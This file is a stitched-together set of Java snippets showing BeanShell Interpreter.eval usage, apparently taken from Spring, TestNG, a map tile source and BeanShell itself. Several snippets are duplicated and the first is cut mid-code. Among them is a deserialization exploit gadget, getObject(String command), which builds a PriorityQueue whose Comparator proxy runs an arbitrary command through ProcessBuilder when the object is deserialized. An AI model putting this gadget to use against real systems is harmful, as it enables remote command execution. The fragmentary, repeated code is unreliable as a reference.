Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(classLoader); Object result = interpreter.eval(scriptSource); if (result != null) { return result; "At least one script interface is required.\nScript: " + scriptSource); XThis xt = (XThis) interpreter.eval("return this"); return Proxy.newProxyInstance(classLoader, scriptInterfaces, new BshObjectInvocationHandler(xt));
@Override public String getUrlToLoad(int x, int y, int zoom) { try { return (String) bshInterpreter.eval("getTileUrl("+zoom+","+x+","+y+");"); } catch (bsh.EvalError e) { log.error(e.getMessage(), e); return null; } }
/** * Evaluate the specified BeanShell script based on the given script source, * returning the Class defined by the script. * <p>The script may either declare a full class or return an actual instance of * the scripted object (in which case the Class of the object will be returned). * In any other case, the returned Class will be {@code null}. * @param scriptSource the script source text * @param classLoader the ClassLoader to use for evaluating the script * @return the scripted Java class, or {@code null} if none could be determined * @throws EvalError in case of BeanShell parsing failure */ @Nullable static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError { Assert.hasText(scriptSource, "Script source must not be empty"); Interpreter interpreter = new Interpreter(); if (classLoader != null) { interpreter.setClassLoader(classLoader); } Object result = interpreter.eval(scriptSource); if (result instanceof Class) { return (Class<?>) result; } else if (result != null) { return result.getClass(); } else { return null; } }
@Override @Nullable public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) { try { Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(this.classLoader); if (arguments != null) { for (Map.Entry<String, Object> entry : arguments.entrySet()) { interpreter.set(entry.getKey(), entry.getValue()); } } return interpreter.eval(new StringReader(script.getScriptAsString())); } catch (IOException ex) { throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex); } catch (EvalError ex) { throw new ScriptCompilationException(script, ex); } }
Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(classLoader); Object result = interpreter.eval(scriptSource); if (result != null) { return result; "At least one script interface is required.\nScript: " + scriptSource); XThis xt = (XThis) interpreter.eval("return this"); return Proxy.newProxyInstance(classLoader, scriptInterfaces, new BshObjectInvocationHandler(xt));
/** * Evaluate the specified BeanShell script based on the given script source, * returning the Class defined by the script. * <p>The script may either declare a full class or return an actual instance of * the scripted object (in which case the Class of the object will be returned). * In any other case, the returned Class will be {@code null}. * @param scriptSource the script source text * @param classLoader the ClassLoader to use for evaluating the script * @return the scripted Java class, or {@code null} if none could be determined * @throws EvalError in case of BeanShell parsing failure */ @Nullable static Class<?> determineBshObjectType(String scriptSource, @Nullable ClassLoader classLoader) throws EvalError { Assert.hasText(scriptSource, "Script source must not be empty"); Interpreter interpreter = new Interpreter(); if (classLoader != null) { interpreter.setClassLoader(classLoader); } Object result = interpreter.eval(scriptSource); if (result instanceof Class) { return (Class<?>) result; } else if (result != null) { return result.getClass(); } else { return null; } }
Interpreter interpreter = new Interpreter(); interpreter.eval("result = 5+4*(7-15)"); System.out.println(interpreter.get("result"));
@Override @Nullable public Object evaluate(ScriptSource script, @Nullable Map<String, Object> arguments) { try { Interpreter interpreter = new Interpreter(); interpreter.setClassLoader(this.classLoader); if (arguments != null) { for (Map.Entry<String, Object> entry : arguments.entrySet()) { interpreter.set(entry.getKey(), entry.getValue()); } } return interpreter.eval(new StringReader(script.getScriptAsString())); } catch (IOException ex) { throw new ScriptCompilationException(script, "Cannot access BeanShell script", ex); } catch (EvalError ex) { throw new ScriptCompilationException(script, ex); } }
public PriorityQueue getObject(String command) throws Exception { // BeanShell payload String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join( // does not support spaces in quotes Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), ",", "\"", "\"") + "}).start();return new Integer(1);}"; // Create Interpreter Interpreter i = new Interpreter(); // Evaluate payload i.eval(payload); // Create InvocationHandler XThis xt = new XThis(i.getNameSpace(), i); InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); // Create Comparator Proxy Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler); // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator); Object[] queue = new Object[] {1,1}; Reflections.setFieldValue(priorityQueue, "queue", queue); Reflections.setFieldValue(priorityQueue, "size", 2); return priorityQueue; }
public BeanShellTileSourceTemplate(String name, String urlToLoad, String ext, int maxZoom, int minZoom, int tileSize, int bitDensity, int avgSize) { super(name, urlToLoad, ext, maxZoom, minZoom, tileSize, bitDensity, avgSize); bshInterpreter = new Interpreter(); try { bshInterpreter.eval(urlToLoad); bshInterpreter.getClassManager().setClassLoader(new ClassLoader() { @Override public URL getResource(String resName) { return null; } @Override public InputStream getResourceAsStream(String resName) { return null; } @Override public Class<?> loadClass(String className) throws ClassNotFoundException { throw new ClassNotFoundException("Error requesting " + className); } }); } catch (bsh.EvalError e) { log.error("Error executing the map init script " + urlToLoad, e); } }
@Override public boolean includeMethodFromExpression(String expression, ITestNGMethod tm) { boolean result = false; Interpreter interpreter = getInterpreter(); try { Map<String, String> groups = Maps.newHashMap(); for (String group : tm.getGroups()) { groups.put(group, group); } setContext(interpreter, tm.getConstructorOrMethod().getMethod(), groups, tm); Object evalResult = interpreter.eval(expression); if (evalResult == null) { String msg = String.format("The beanshell expression [%s] evaluated to null.", expression); throw new TestNGException(msg); } result = (Boolean) evalResult; } catch (EvalError evalError) { Utils.log("bsh.Interpreter", 2, "Cannot evaluate expression:" + expression + ":" + evalError.getMessage()); } finally { resetContext(interpreter); } return result; }
/** Evaluate the inputstream in this interpreter's global namespace. */ public Object eval( Reader in ) throws EvalError { return eval( in, globalNameSpace, null == sourceFileInfo ? "eval stream" : sourceFileInfo ); }
/** Evaluate the inputstream in this interpreter's global namespace. */ public Object eval( Reader in ) throws EvalError { return eval( in, globalNameSpace, "eval stream" ); }
private void clearInterpreter() { try { interpreter.eval(CLEAR_COMMAND); } catch (EvalError e) { logger.error("Could not clear the interpreter", e); } }
/** Evaluate the string in this interpreter's global namespace. */ public Object eval( String statements ) throws EvalError { Interpreter.debug("eval(String): ", statements); return eval(statements, globalNameSpace); }
/** Evaluate the string in the specified namespace. */ public Object eval( String statements, NameSpace nameSpace ) throws EvalError { String s = ( statements.endsWith(";") ? statements : statements+";" ); return eval( new StringReader(s), nameSpace, "inline evaluation of: ``"+ showEvalString(s)+"''" ); }
/** Evaluate the string in this interpreter's global namespace. */ public Object eval( String statements ) throws EvalError { if ( Interpreter.DEBUG ) debug("eval(String): "+statements); return eval(statements, globalNameSpace); }
final Interpreter i = new Interpreter(); try { Object res = i.eval("(24 + 3) < 4"); System.out.println("Result is " + res); } catch (EvalError ex) { System.err.println("Error while evaluating expression: " + ex.getMessage()); }
public Object invoke(Invocation invocation) throws Throwable { try { defineParameters(interpreter, invocation); return interpreter.eval(script); } catch (TargetError e) { throw e.getTarget(); } catch (EvalError e) { throw new IllegalArgumentException("could not interpret script", e); } }
import bsh.Interpreter; private void runString(String code){ Interpreter interpreter = new Interpreter(); try { interpreter.set("context", this);//set any variable, you can refer to it directly from string interpreter.eval(code);//execute code } catch (Exception e){//handle exception e.printStackTrace(); } }